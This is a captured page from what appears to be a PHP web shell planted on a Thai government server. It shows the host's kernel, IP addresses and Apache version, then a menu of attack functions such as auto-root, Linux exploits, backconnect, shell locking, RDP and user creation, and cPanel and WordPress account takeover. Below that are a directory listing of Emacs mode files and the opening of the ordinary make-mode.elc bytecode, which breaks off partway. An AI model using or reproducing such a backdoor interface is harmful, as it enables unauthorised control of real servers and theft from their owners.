Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
progmodes /
[ HOME SHELL ]
Name
Size
Permission
Action
ada-mode.elc
107.46
KB
-rw-r--r--
ada-prj.elc
17.96
KB
-rw-r--r--
ada-stmt.elc
36.03
KB
-rw-r--r--
ada-xref.elc
54.99
KB
-rw-r--r--
antlr-mode.elc
77.63
KB
-rw-r--r--
asm-mode.elc
6.08
KB
-rw-r--r--
autoconf.elc
3.37
KB
-rw-r--r--
bug-reference.elc
5.83
KB
-rw-r--r--
cap-words.elc
3.54
KB
-rw-r--r--
cc-align.elc
35.43
KB
-rw-r--r--
cc-awk.elc
20.23
KB
-rw-r--r--
cc-bytecomp.elc
10.45
KB
-rw-r--r--
cc-cmds.elc
92.26
KB
-rw-r--r--
cc-compat.elc
2.97
KB
-rw-r--r--
cc-defs.elc
46.7
KB
-rw-r--r--
cc-engine.elc
143.05
KB
-rw-r--r--
cc-fonts.elc
140.72
KB
-rw-r--r--
cc-langs.elc
70.29
KB
-rw-r--r--
cc-menus.elc
7.32
KB
-rw-r--r--
cc-mode.elc
144.75
KB
-rw-r--r--
cc-styles.elc
16.11
KB
-rw-r--r--
cc-subword.elc
6.99
KB
-rw-r--r--
cc-vars.elc
71.07
KB
-rw-r--r--
cfengine.elc
8.09
KB
-rw-r--r--
cmacexp.elc
6.58
KB
-rw-r--r--
compile.elc
69.45
KB
-rw-r--r--
cperl-mode.elc
215.39
KB
-rw-r--r--
cpp.elc
21.52
KB
-rw-r--r--
cwarn.elc
12.8
KB
-rw-r--r--
dcl-mode.elc
49.31
KB
-rw-r--r--
delphi.elc
50.03
KB
-rw-r--r--
ebnf-abn.elc
7.39
KB
-rw-r--r--
ebnf-bnf.elc
7.99
KB
-rw-r--r--
ebnf-dtd.elc
13.82
KB
-rw-r--r--
ebnf-ebx.elc
8.77
KB
-rw-r--r--
ebnf-iso.elc
8.14
KB
-rw-r--r--
ebnf-otz.elc
8.51
KB
-rw-r--r--
ebnf-yac.elc
7.53
KB
-rw-r--r--
ebnf2ps.elc
121.25
KB
-rw-r--r--
ebrowse.elc
202.93
KB
-rw-r--r--
etags.elc
54.14
KB
-rw-r--r--
executable.elc
7.6
KB
-rw-r--r--
f90.elc
82.59
KB
-rw-r--r--
flymake.elc
61.25
KB
-rw-r--r--
fortran.elc
60.13
KB
-rw-r--r--
gdb-ui.elc
138.61
KB
-rw-r--r--
glasses.elc
10.15
KB
-rw-r--r--
grep.elc
27.75
KB
-rw-r--r--
gud.elc
93.94
KB
-rw-r--r--
hideif.elc
26.67
KB
-rw-r--r--
hideshow.elc
24.54
KB
-rw-r--r--
icon.elc
16.23
KB
-rw-r--r--
idlw-complete-structtag.elc
4.75
KB
-rw-r--r--
idlw-help.elc
35.31
KB
-rw-r--r--
idlw-shell.elc
134.39
KB
-rw-r--r--
idlw-toolbar.elc
28.34
KB
-rw-r--r--
idlwave.elc
254.7
KB
-rw-r--r--
inf-lisp.elc
18.43
KB
-rw-r--r--
ld-script.elc
4.91
KB
-rw-r--r--
m4-mode.elc
4.91
KB
-rw-r--r--
make-mode.elc
58.79
KB
-rw-r--r--
mantemp.elc
3.77
KB
-rw-r--r--
meta-mode.elc
27.42
KB
-rw-r--r--
mixal-mode.elc
35.32
KB
-rw-r--r--
modula2.elc
14.23
KB
-rw-r--r--
octave-inf.elc
11.87
KB
-rw-r--r--
octave-mod.elc
44.6
KB
-rw-r--r--
pascal.elc
40.31
KB
-rw-r--r--
perl-mode.elc
22.42
KB
-rw-r--r--
prolog.elc
12.7
KB
-rw-r--r--
ps-mode.elc
33.38
KB
-rw-r--r--
python.elc
86.23
KB
-rw-r--r--
ruby-mode.elc
34.59
KB
-rw-r--r--
scheme.elc
15.94
KB
-rw-r--r--
sh-script.elc
94.73
KB
-rw-r--r--
simula.elc
44.81
KB
-rw-r--r--
sql.elc
101.34
KB
-rw-r--r--
sym-comp.elc
7.15
KB
-rw-r--r--
tcl.elc
38.58
KB
-rw-r--r--
vera-mode.elc
44.5
KB
-rw-r--r--
verilog-mode.elc
331.76
KB
-rw-r--r--
vhdl-mode.elc
510.47
KB
-rw-r--r--
which-func.elc
9.72
KB
-rw-r--r--
xscheme.elc
37.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : make-mode.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:05:10 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/progmodes/make-mode.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`make-mode.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301\302\303\304\305\306\307\310\311& \210\312\313\314\315\306\301%\210\316\317\320\313#\210\312\321\322\323\306\301\324\325&\210\312\326\302\327\306\301\324\325&\210\312\330\331\332\306\301\324\325&\207" [custom-declare-group makefile nil "Makefile editing commands for Emacs." :link (custom-group-link :tag "Font Lock Faces group" font-lock-faces) :group tools :prefix "makefile-" custom-declare-face makefile-space ((((class color)) (:background "hotpink")) (t (:reverse-video t))) "Face to use for highlighting leading spaces in Font-Lock mode." put makefile-space-face face-alias makefile-targets ((t (:inherit font-lock-function-name-face))) "Face to use for additionally highlighting rule targets in Font-Lock mode." :version "22.1" makefile-shell "Face to use for additionally highlighting Shell commands in Font-Lock mode." makefile-makepp-perl ((((class color) (background light)) (:background "LightBlue1")) (((class color) (background dark)) (:background "DarkBlue")) (t (:reverse-video t))) "Face to use for additionally highlighting Perl code in Font-Lock mode."] 10) #@48 *Name of the macro- and target browser buffer. (custom-declare-variable 'makefile-browser-buffer-name '"*Macros and Targets*" '(#$ . -1720) :type 'string :group 'makefile) #@108 *String to append to all target names inserted by `makefile-insert-target'. ":" or "::" are common values. (custom-declare-variable 'makefile-target-colon '":" '(#$ . -1899) :type 'string :group 'makefile) #@288 *String to append to all macro names inserted by `makefile-insert-macro'. The normal value should be " = ", since this is what standard make expects. However, newer makes such as dmake allow a larger variety of different macro assignments, so you might prefer to use " += " or " := " . (custom-declare-variable 'makefile-macro-assign '" = " '(#$ . -2112) :type 'string :group 'makefile) #@81 *If non-nil, Makefile mode should install electric keybindings. Default is nil. (custom-declare-variable 'makefile-electric-keys 'nil '(#$ . -2506) :type 'boolean :group 'makefile) #@167 *Controls the style of generated macro references. Non-nil means macro references should use curly braces, like `${this}'. nil means use parentheses, like `$(this)'. (custom-declare-variable 'makefile-use-curly-braces-for-macros-p 'nil '(#$ . -2694) :type 'boolean :group 'makefile) #@99 *If non-nil, insert a TAB after a target colon. Otherwise, a space is inserted. The default is t. (custom-declare-variable 'makefile-tab-after-target-colon 't '(#$ . -2983) :type 'boolean :group 'makefile) #@62 *Number of blanks to the left of the browser selection mark. (custom-declare-variable 'makefile-browser-leftmost-column '10 '(#$ . -3195) :type 'integer :group 'makefile) #@78 *Column the cursor goes to when it moves up or down in the Makefile browser. (custom-declare-variable 'makefile-browser-cursor-column '10 '(#$ . -3372) :type 'integer :group 'makefile) #@67 *Column in which `makefile-backslash-region' inserts backslashes. (custom-declare-variable 'makefile-backslash-column '48 '(#$ . -3563) :type 'integer :group 'makefile) #@66 *If non-nil, `makefile-backslash-region' will align backslashes. (custom-declare-variable 'makefile-backslash-align 't '(#$ . -3738) :type 'boolean :group 'makefile) #@64 *String used to mark selected entries in the Makefile browser. (custom-declare-variable 'makefile-browser-selected-mark '"+ " '(#$ . -3910) :type 'string :group 'makefile) #@66 *String used to mark unselected entries in the Makefile browser. (custom-declare-variable 'makefile-browser-unselected-mark '" " '(#$ . -4089) :type 'string :group 'makefile) #@75 *If non-nil, cursor will move after item is selected in Makefile browser. (custom-declare-variable 'makefile-browser-auto-advance-after-selection-p 't '(#$ . -4272) :type 'boolean :group 'makefile) #@167 *If non-nil, `makefile-pickup-everything' picks up filenames as targets. This means it calls `makefile-pickup-filenames-as-targets'. Otherwise filenames are omitted. (custom-declare-variable 'makefile-pickup-everything-picks-up-filenames-p 'nil '(#$ . -4477) :type 'boolean :group 'makefile) #@313 *If non-nil, automatically clean up continuation lines when saving. A line is cleaned up by removing all whitespace following a trailing backslash. This is done silently. IMPORTANT: Please note that enabling this option causes Makefile mode to MODIFY A FILE WITHOUT YOUR CONFIRMATION when "it seems necessary". (custom-declare-variable 'makefile-cleanup-continuations 'nil '(#$ . -4776) :type 'boolean :group 'makefile) #@38 *Normal hook run by `makefile-mode'. (custom-declare-variable 'makefile-mode-hook 'nil '(#$ . -5203) :type 'hook :group 'makefile) (byte-code "\301B\302\301!\204 \303\301\304\"\210\304\207" [current-load-list makefile-browser-hook default-boundp set-default nil] 3) #@165 *List of special targets. You will be offered to complete on one of those in the minibuffer whenever you enter a "." at the beginning of a line in `makefile-mode'. (custom-declare-variable 'makefile-special-targets-list ''(("DEFAULT") ("DONE") ("ERROR") ("EXPORT") ("FAILED") ("GROUPEPILOG") ("GROUPPROLOG") ("IGNORE") ("IMPORT") ("INCLUDE") ("INCLUDEDIRS") ("INIT") ("KEEP_STATE") ("MAKEFILES") ("MAKE_VERSION") ("NO_PARALLEL") ("PARALLEL") ("PHONY") ("PRECIOUS") ("REMOVE") ("SCCS_GET") ("SILENT") ("SOURCE") ("SUFFIXES") ("WAIT") ("c.o") ("C.o") ("m.o") ("el.elc") ("y.c") ("s.o")) '(#$ . -5479) :type '(repeat (list string)) :group 'makefile) (put 'makefile-special-targets-list 'risky-local-variable t) #@239 *List of macros that are resolved by make at runtime. If you insert a macro reference using `makefile-insert-macro-ref', the name of the macro is checked against this list. If it can be found its name will not be enclosed in { } or ( ). (custom-declare-variable 'makefile-runtime-macros-list ''(("@") ("&") (">") ("<") ("*") ("^") ("+") ("?") ("%") ("$")) '(#$ . -6194) :type '(repeat (list string)) :group 'makefile) #@52 Regex used to find dependency lines in a makefile. (defvar makefile-dependency-regex "^\\(\\(?:\\$\\(?:[({]\\(?:\\$\\(?:[({]\\(?:\\$\\(?:[^({]\\|.[^\n$#})]+?[})]\\)\\|[^\n$#)}]\\)+?[})]\\|[^({]\\)\\|[^\n$#)}]\\)+?[})]\\|[^({]\\)\\|[^\n$#:=]\\)+?\\)\\(:\\)\\(?:[ ]*$\\|[^=\n]\\(?:[^#\n]*?;[ ]*\\(.+\\)\\)?\\)" (#$ . 6619)) #@56 Regex used to find dependency lines in a BSD makefile. (defconst makefile-bsdmake-dependency-regex (byte-code "\301\302\"\210\303\304\305\211$\207" [makefile-dependency-regex string-match "\\\\(:\\\\)" replace-match "\\([:!]\\)" t] 5) (#$ . 6949)) #@63 Characters to skip to find a line that might be a dependency. (defvar makefile-dependency-skip "^:" (#$ . 7205)) #@62 Regex used to highlight rule action lines in font lock mode. (defvar makefile-rule-action-regex "^ [ ]*\\([-@]*\\)[ ]*\\(\\(?:.*\\\\\n\\)*.*\\)" (#$ . 7324)) #@69 Regex used to highlight makepp rule action lines in font lock mode. (defconst makefile-makepp-rule-action-regex "^ [ ]*\\(\\(?:\\(?:noecho\\|ignore[-_]error\\|[-@]+\\)[ ]*\\)*\\)\\(\\(&\\S +\\)?\\(?:.*\\\\\n\\)*.*\\)" (#$ . 7490)) #@66 Regex used to highlight BSD rule action lines in font lock mode. (defconst makefile-bsdmake-rule-action-regex (byte-code "\301\302\"\210\303\304\305\211$\207" [makefile-rule-action-regex string-match "-@" replace-match "-+@" t] 5) (#$ . 7729)) #@58 Regex used to find macro assignment lines in a makefile. (defconst makefile-macroassign-regex "\\(?:^\\|^export\\|^override\\|:\\|: *override\\) *\\([^ \n ][^:#= \n]*\\)[ ]*\\(?:!=\\|[*:+]?[:?]?=\\)" (#$ . 7981)) #@49 Regex used to find $(macro) uses in a makefile. (defconst makefile-var-use-regex "[^$]\\$[({]\\([-a-zA-Z0-9_.]+\\|[@%<?^+*][FD]?\\)" (#$ . 8202)) #@67 Regex for filenames that will NOT be included in the target list. (defconst makefile-ignored-files-in-pickup-regex "\\(^\\..*\\)\\|\\(.*~$\\)\\|\\(.*,v$\\)\\|\\(\\.[chy]\\)" (#$ . 8354)) #@64 Face to use for highlighting leading spaces in Font-Lock mode. (defvar makefile-space 'makefile-space (#$ . 8547)) #@47 List of keywords understood by standard make. (defconst makefile-statements '("include") (#$ . 8668)) #@42 List of keywords understood by automake. (defconst makefile-automake-statements (byte-code "\301\302\303BBB\207" [makefile-statements "if" "else" "endif"] 4) (#$ . 8776)) #@39 List of keywords understood by gmake. (defconst makefile-gmake-statements (byte-code "\301\302\303\304\305\306\307\310\311\312\313\314\315\316ABBBBBBBBBBBBBB\207" [makefile-automake-statements "-sinclude" "sinclude" "vpath" "ifdef" "ifndef" "ifeq" "ifneq" "-include" "define" "endef" "export" "override define" "override" "unexport"] 15) (#$ . 8954)) #@39 List of keywords understood by gmake. (defconst makefile-makepp-statements (byte-code "\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\233BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\207" [makefile-gmake-statements "and ifdef" "and ifndef" "and ifeq" "and ifneq" "and ifperl" "and ifmakeperl" "and ifsys" "and ifnsys" "build_cache" "build_check" "else ifdef" "else ifndef" "else ifeq" "else ifneq" "else ifperl" "else ifmakeperl" "else ifsys" "else ifnsys" "enddef" "global" "load_makefile" "ifperl" "ifmakeperl" "ifsys" "ifnsys" "_include" "makeperl" "makesub" "no_implicit_load" "perl" "perl-begin" "perl_begin" "perl-end" "perl_end" "prebuild" "or ifdef" "or ifndef" "or ifeq" "or ifneq" "or ifperl" "or ifmakeperl" "or ifsys" "or ifnsys" "override export" "override global" "register_command_parser" "register_scanner" "repository" "runtime" "signature" "sub" 3] 53) (#$ . 9312)) #@42 List of keywords understood by BSD make. (defconst makefile-bsdmake-statements '(".elif" ".elifdef" ".elifmake" ".elifndef" ".elifnmake" ".else" ".endfor" ".endif" ".for" ".if" ".ifdef" ".ifmake" ".ifndef" ".ifnmake" ".undef") (#$ . 10371)) (defalias 'makefile-make-font-lock-keywords #[(var keywords space &optional negation &rest font-lock-keywords) "\306B\307 \310B\311\312\313\314\n\315\"\316Q\317B\320\205 \321BC\f\205 \322 \323$BBBBBB\207" [makefile-macroassign-regex var keywords negation space font-lock-keywords ((1 font-lock-variable-name-face) (2 'makefile-shell prepend t) (3 'font-lock-string-face prepend t)) (makefile-match-action (1 font-lock-type-face) (2 'makefile-shell prepend) (3 font-lock-builtin-face prepend t)) (1 font-lock-variable-name-face prepend) ("[^$]\\$\\([@%<?^+*_]\\|[a-zA-Z0-9]\\>\\)" 1 font-lock-constant-face prepend) ("[^$]\\(\\$[@%*]\\)" 1 'makefile-targets append) "^\\(?: [ ]*\\)?" regexp-opt t "\\>[ ]*\\([^: \n#]*\\)" ((1 font-lock-keyword-face) (2 font-lock-variable-name-face)) append ((1 font-lock-negation-char-face prepend) (2 font-lock-negation-char-face prepend t)) (("^[ ]+$" . makefile-space) ("^ +#" 0 makefile-space t) ("^\\( +\\) " 1 makefile-space)) ((makefile-match-dependency (1 'makefile-targets prepend) (3 'makefile-shell prepend t)))] 11]) (byte-code "\306B\307\310 \n\311#!\210\312B\313\310 \311#!\210\314B\315\310 \f\311\316\317\320\321&!\210\322B\323\310 \324\325\326\327\330\331\332\333\334\335\336\337\340&!\210\341B\342\310 .\311\343\344%!\210\345B\346\347\310 \n\311\324\350\351\352&/\"!\210\353B\354\355!\207" [current-load-list makefile-var-use-regex makefile-statements makefile-automake-statements makefile-gmake-statements makefile-makepp-statements makefile-font-lock-keywords (lambda (#1=#:defconst-tmp-var) (defconst makefile-font-lock-keywords #1#)) makefile-make-font-lock-keywords t makefile-automake-font-lock-keywords (lambda (#2=#:defconst-tmp-var) (defconst makefile-automake-font-lock-keywords #2#)) makefile-gmake-font-lock-keywords (lambda (#3=#:defconst-tmp-var) (defconst makefile-gmake-font-lock-keywords #3#)) "^\\(?: [ ]*\\)?if\\(n\\)\\(?:def\\|eq\\)\\>" ("[^$]\\(\\$[({][@%*][DF][})]\\)" 1 'makefile-targets append) ("[^$]\\$[({]\\([-a-zA-Z0-9_.]+\\s \\)" 1 font-lock-function-name-face prepend) ("[^$]\\$\\([({]\\)shell[ ]+" makefile-match-function-end nil nil (1 'makefile-shell prepend t)) makefile-makepp-font-lock-keywords (lambda (#4=#:defconst-tmp-var) (defconst makefile-makepp-font-lock-keywords #4#)) nil "^\\(?: [ ]*\\)?\\(?:and[ ]+\\|else[ ]+\\|or[ ]+\\)?if\\(n\\)\\(?:def\\|eq\\|sys\\)\\>" ("[^$]\\(\\$[({]\\(?:output\\|stem\\|target\\)s?\\_>.*?[})]\\)" 1 'makefile-targets append) ("\\(:\\s *\\)\\(build_c\\(?:ache\\|heck\\)\\|env\\(?:ironment\\)?\\|foreach\\|signature\\|scanner\\|quickscan\\|smartscan\\)\\>\\([^:\n]*\\)" (1 font-lock-type-face t) (2 font-lock-keyword-face t) (3 font-lock-variable-name-face t)) ("[^$]\\$\\(?:((?\\|{{?\\)\\([-a-zA-Z0-9_.]+\\s \\)" 1 font-lock-function-name-face prepend) ("[^$]\\$\\(((?\\|{{?\\)shell\\(?:[-_]\\(?:global[-_]\\)?once\\)?[ ]+" makefile-match-function-end nil nil (1 'makefile-shell prepend t)) ("[^$]\\$\\(((?\\|{{?\\)makeperl[ ]+" makefile-match-function-end nil nil (1 'makefile-makepp-perl prepend t)) ("[^$]\\$\\(((?\\|{{?\\)perl[ ]+" makefile-match-function-end nil nil (1 'makefile-makepp-perl t t)) ("ifmakeperl\\s +\\(.*\\)" 1 'makefile-makepp-perl prepend) ("ifperl\\s +\\(.*\\)" 1 'makefile-makepp-perl t) ("\\<make\\(?:perl\\|sub\\s +\\S +\\)\\s *\n?\\s *{\\(?:{\\s *\n?\\(\\(?:.*\n\\)+?\\)\\s *}\\|\\s *\\(\\(?:.*?\\|\n?\\(?:.*\n\\)+?\\)\\)\\)}" (1 'makefile-makepp-perl prepend t) (2 'makefile-makepp-perl prepend t)) ("\\<\\(?:perl\\|sub\\s +\\S +\\)\\s *\n?\\s *{\\(?:{\\s *\n?\\(\\(?:.*\n\\)+?\\)\\s *}\\|\\s *\\(\\(?:.*?\\|\n?\\(?:.*\n\\)+?\\)\\)\\)}" (1 'makefile-makepp-perl t t) (2 'makefile-makepp-perl t t)) ("perl[-_]begin\\s *\\(?:\\s #.*\\)?\n\\(\\(?:.*\n\\)+?\\)\\s *perl[-_]end\\>" 1 'makefile-makepp-perl t) makefile-bsdmake-font-lock-keywords (lambda (#5=#:defconst-tmp-var) (defconst makefile-bsdmake-font-lock-keywords #5#)) "^\\(?: [ ]*\\)?\\.\\(?:el\\)?if\\(n?\\)\\(?:def\\|make\\)?\\>[ ]*\\(!?\\)" ("^[ ]*\\.for[ ].+[ ]\\(in\\)\\>" 1 font-lock-keyword-face) makefile-imake-font-lock-keywords (lambda (#6=#:defconst-tmp-var) (defconst makefile-imake-font-lock-keywords #6#)) append ("^XCOMM.*$" . font-lock-comment-face) ("XVAR\\(?:use\\|def\\)[0-9]" 0 font-lock-keyword-face prepend) ("@@" . font-lock-preprocessor-face) makefile-font-lock-syntactic-keywords (lambda (#7=#:defconst-tmp-var) (defconst makefile-font-lock-syntactic-keywords #7#)) (("[^|&;<>()`\\\"' \n]\\(#+\\)" 1 "_") ("\\\\\n" 0 ".")) makefile-bsdmake-statements cpp-font-lock-keywords] 17) #@78 Imenu generic expression for Makefile mode. See `imenu-generic-expression'. (defvar makefile-imenu-generic-expression (byte-code "\301\302\303BBD\207" [makefile-macroassign-regex ("Dependencies" makefile-previous-dependency 1) "Macro Assignment" (1)] 4) (#$ . 15174)) #@123 *How to invoke make, for `makefile-query-targets'. This should identify a `make' command that can handle the `-q' option. (custom-declare-variable 'makefile-brave-make '"make" '(#$ . -15451) :type 'string :group 'makefile) #@532 *Function to call to determine whether a make target is up to date. The function must satisfy this calling convention: * As its first argument, it must accept the name of the target to be checked, as a string. * As its second argument, it may accept the name of a makefile as a string. Depending on what you're going to do you may not need this. * It must return the integer value 0 (zero) if the given target should be considered up-to-date in the context of the given makefile, any nonzero integer value otherwise. (custom-declare-variable 'makefile-query-one-target-method-function ''makefile-query-by-make-minus-q '(#$ . -15681) :type 'function :group 'makefile) (defvaralias 'makefile-query-one-target-method 'makefile-query-one-target-method-function) #@42 *Name of the Up-to-date overview buffer. (custom-declare-variable 'makefile-up-to-date-buffer-name '"*Makefile Up-to-date overview*" '(#$ . -16459) :type 'string :group 'makefile) #@42 Abbrev table in use in Makefile buffers. (defvar makefile-mode-abbrev-table nil (#$ . 16645)) (byte-code "\204 \301\300\302\"\210\302\207" [makefile-mode-abbrev-table define-abbrev-table nil] 3) #@43 The keymap that is used in Makefile mode. (defvar makefile-mode-map (byte-code "\303 \303 \304 \305\306#\210\n\203( \304 \307\310#\210\304 \311\312#\210\304 \313\314#\210\304 \315\316#\210\304 \317\320#\210\304 \321\322#\210\304 \323\324#\210\304 \325\326#\210\304 \327\330#\210\304 \331\332#\210\304 \333\334#\210\304 \335\336#\210\304 \337\340#\210\304 \341\342#\210\304 \343\344#\210\304 \345\346#\210\304 \347\350#\210\304 \351\352#\210\304 \353\354#\210\304 \355\356#\210\304 \357\360\303\360!B#\210\304 \361\362B#\210\304\363\364#\210\304\365\366#\210\304\367\370#\210\304\371\372#\210\304\373\374#\210\304\375\376#\210\304 \377\201@ #\210\304 \201A \201B #\210\304 \201C \201D #\210\304 \201E \201F #\210\304 \201G \201H #\210\304 \201I \201J #\210\304 \201K \201L #\210\304 \201M \201N #\210\304 \201O \201P #\210\304 \201Q \201R #\210\304 \201S \201T #\210 *\207" [opt-map map makefile-electric-keys make-sparse-keymap define-key ":" makefile-insert-target-ref "$" makefile-insert-macro-ref ":" makefile-electric-colon "=" makefile-electric-equal "." makefile-electric-dot "" makefile-pickup-filenames-as-targets "" makefile-switch-to-browser "" comment-region "" makefile-pickup-everything "" makefile-create-up-to-date-overview " " makefile-insert-gmake-function "" makefile-backslash-region " " makefile-automake-mode " " makefile-bsdmake-mode " " makefile-gmake-mode " " makefile-imake-mode " " makefile-mode " " makefile-makepp-mode "\360" makefile-previous-dependency "\356" makefile-next-dependency " " makefile-complete [menu-bar makefile-mode] "Makefile" [menu-bar makefile-mode makefile-type] "Switch Makefile Type" [makefile-makepp-mode] (menu-item "Makepp" makefile-makepp-mode :help "An adapted `makefile-mode' that knows about makepp" :button (:radio eq major-mode 'makefile-makepp-mode)) [makefile-imake-mode] (menu-item "Imake" makefile-imake-mode :help "An adapted `makefile-mode' that knows about imake" :button (:radio eq major-mode 'makefile-imake-mode)) [makefile-mode] (menu-item "Classic" makefile-mode :help "`makefile-mode' with no special functionality" :button (:radio eq major-mode 'makefile-mode)) [makefile-bsdmake-mode] (menu-item "BSD" makefile-bsdmake-mode :help "An adapted `makefile-mode' that knows about BSD make" :button (:radio eq major-mode 'makefile-bsdmake-mode)) [makefile-automake-mode] (menu-item "Automake" makefile-automake-mode :help "An adapted `makefile-mode' that knows about automake" :button (:radio eq major-mode 'makefile-automake-mode)) [makefile-gmake-mode] (menu-item "GNU make" makefile-gmake-mode :help "An adapted `makefile-mode' that knows about GNU make" :button (:radio eq major-mode 'makefile-gmake-mode)) [menu-bar makefile-mode browse] (menu-item "Pop up Makefile Browser" makefile-switch-to-browser :help "Pop up Makefile Browser") [menu-bar makefile-mode overview] (menu-item "Up To Date Overview" makefile-create-up-to-date-overview :help "Create a buffer containing an overview of the state of all known targets") [menu-bar makefile-mode separator1] ("----") [menu-bar makefile-mode pickup-file] (menu-item "Pick File Name as Target" makefile-pickup-filenames-as-targets :help "Scan the current directory for filenames to use as targets") [menu-bar makefile-mode function] (menu-item "Insert GNU make function" makefile-insert-gmake-function :help "Insert a GNU make function call") [menu-bar makefile-mode pickup] (menu-item "Find Targets and Macros" makefile-pickup-everything :help "Notice names of all macros and targets in Makefile") [menu-bar makefile-mode complete] (menu-item "Complete Target or Macro" makefile-complete :help "Perform completion on Makefile construct preceding point") [menu-bar makefile-mode backslash] (menu-item "Backslash Region" makefile-backslash-region :help "Insert, align, or delete end-of-line backslashes on the lines in the region") [menu-bar makefile-mode separator] ("----") [menu-bar makefile-mode prev] (menu-item "Move to Previous Dependency" makefile-previous-dependency :help "Move point to the beginning of the previous dependency line") [menu-bar makefile-mode next] (menu-item "Move to Next Dependency" makefile-next-dependency :help "Move point to the beginning of the next dependency line")] 6) (#$ . 16848)) #@59 The keymap that is used in the macro- and target browser. (defvar makefile-browser-map (byte-code "\301 \302\303\304#\210\302\305\304#\210\302\306\307#\210\302\310\307#\210\302\311\312#\210\302\313\314#\210\302\315\316#\210\302\317\320#\210\302\321\322#\210\302\323\324#\210\302\325\324#\210)\207" [map make-sparse-keymap define-key "n" makefile-browser-next-line "" "p" makefile-browser-previous-line "" " " makefile-browser-toggle "i" makefile-browser-insert-selection "I" makefile-browser-insert-selection-and-quit " " makefile-browser-insert-continuation "q" makefile-browser-quit "" undefined ""] 4) (#$ . 21129)) (byte-code "\302B\304\302!\204O \305\302\306 \307\310\311 #\210\307\312\313 #\210\307\314\315 #\210\307\316\317 #\210\307\320\321 #\210\307\322\323 #\210\307\324\325 #\210\307\326\325 #\210\307\327\330 #\210\307\331\332 #\210 )\"\210\303B\304\303!\204` \305\303\333\n!\"\210\204| \307\334\335#\210\307\336\337#\210\307\327\340#\210\307\331\341#\210\302\207" [current-load-list st makefile-mode-syntax-table makefile-imake-mode-syntax-table default-boundp set-default make-syntax-table modify-syntax-entry 40 "() " 41 ")( " 91 "(] " 93 ")[ " 123 "(} " 125 "){ " 39 "\" " 96 35 "< " 10 "> " copy-syntax-table 47 ". 14" 42 ". 23" "'" ". b"] 6) #@50 Table of all target names known for this buffer. (defvar makefile-target-table nil (#$ . 22452)) (put 'makefile-target-table 'risky-local-variable t) #@49 Table of all macro names known for this buffer. (defvar makefile-macro-table nil (#$ . 22608)) (byte-code "\301\302\303\304#\210\305B\306\305!\204 \307\305\310\"\210\311B\306\311!\204$ \307\311\312\"\210\313B\306\313!\2043 \307\313\312\"\210\314B\306\314!\204B \307\314\304\"\210\315B\306\315!\204Q \307\315\304\"\210\316B\306\316!\204` \307\316\312\"\210\317B\320\321!\207" [current-load-list put makefile-macro-table risky-local-variable t makefile-browser-client default-boundp set-default "A buffer in Makefile mode that is currently using the browser." makefile-browser-selection-vector nil makefile-has-prereqs makefile-need-target-pickup makefile-need-macro-pickup makefile-mode-hook makefile-gnumake-functions-alist (lambda (#1=#:defconst-tmp-var) (defconst makefile-gnumake-functions-alist #1#)) (("subst" "From" "To" "In") ("patsubst" "Pattern" "Replacement" "In") ("strip" "Text") ("findstring" "Find what" "In") ("filter" "Pattern" "Text") ("filter-out" "Pattern" "Text") ("sort" "List") ("dir" "Names") ("notdir" "Names") ("suffix" "Names") ("basename" "Names") ("addprefix" "Prefix" "Names") ("addsuffix" "Suffix" "Names") ("join" "List 1" "List 2") ("word" "Index" "Text") ("words" "Text") ("firstword" "Text") ("wildcard" "Pattern") ("foreach" "Variable" "List" "Text") ("origin" "Variable") ("shell" "Command"))] 4) #@3234 Major mode for editing standard Makefiles. If you are editing a file for a different make, try one of the variants `makefile-automake-mode', `makefile-gmake-mode', `makefile-makepp-mode', `makefile-bsdmake-mode' or, `makefile-imake-mode'. All but the last should be correctly chosen based on the file name, except if it is *.mk. This function ends by invoking the function(s) `makefile-mode-hook'. It is strongly recommended to use `font-lock-mode', because that provides additional parsing information. This is used for example to see that a rule action `echo foo: bar' is a not rule dependency, despite the colon. \{makefile-mode-map} In the browser, use the following keys: \{makefile-browser-map} Makefile mode can be configured by modifying the following variables: `makefile-browser-buffer-name': Name of the macro- and target browser buffer. `makefile-target-colon': The string that gets appended to all target names inserted by `makefile-insert-target'. ":" or "::" are quite common values. `makefile-macro-assign': The string that gets appended to all macro names inserted by `makefile-insert-macro'. The normal value should be " = ", since this is what standard make expects. However, newer makes such as dmake allow a larger variety of different macro assignments, so you might prefer to use " += " or " := " . `makefile-tab-after-target-colon': If you want a TAB (instead of a space) to be appended after the target colon, then set this to a non-nil value. `makefile-browser-leftmost-column': Number of blanks to the left of the browser selection mark. `makefile-browser-cursor-column': Column in which the cursor is positioned when it moves up or down in the browser. `makefile-browser-selected-mark': String used to mark selected entries in the browser. `makefile-browser-unselected-mark': String used to mark unselected entries in the browser. `makefile-browser-auto-advance-after-selection-p': If this variable is set to a non-nil value the cursor will automagically advance to the next line after an item has been selected in the browser. `makefile-pickup-everything-picks-up-filenames-p': If this variable is set to a non-nil value then `makefile-pickup-everything' also picks up filenames as targets (i.e. it calls `makefile-pickup-filenames-as-targets'), otherwise filenames are omitted. `makefile-cleanup-continuations': If this variable is set to a non-nil value then Makefile mode will assure that no line in the 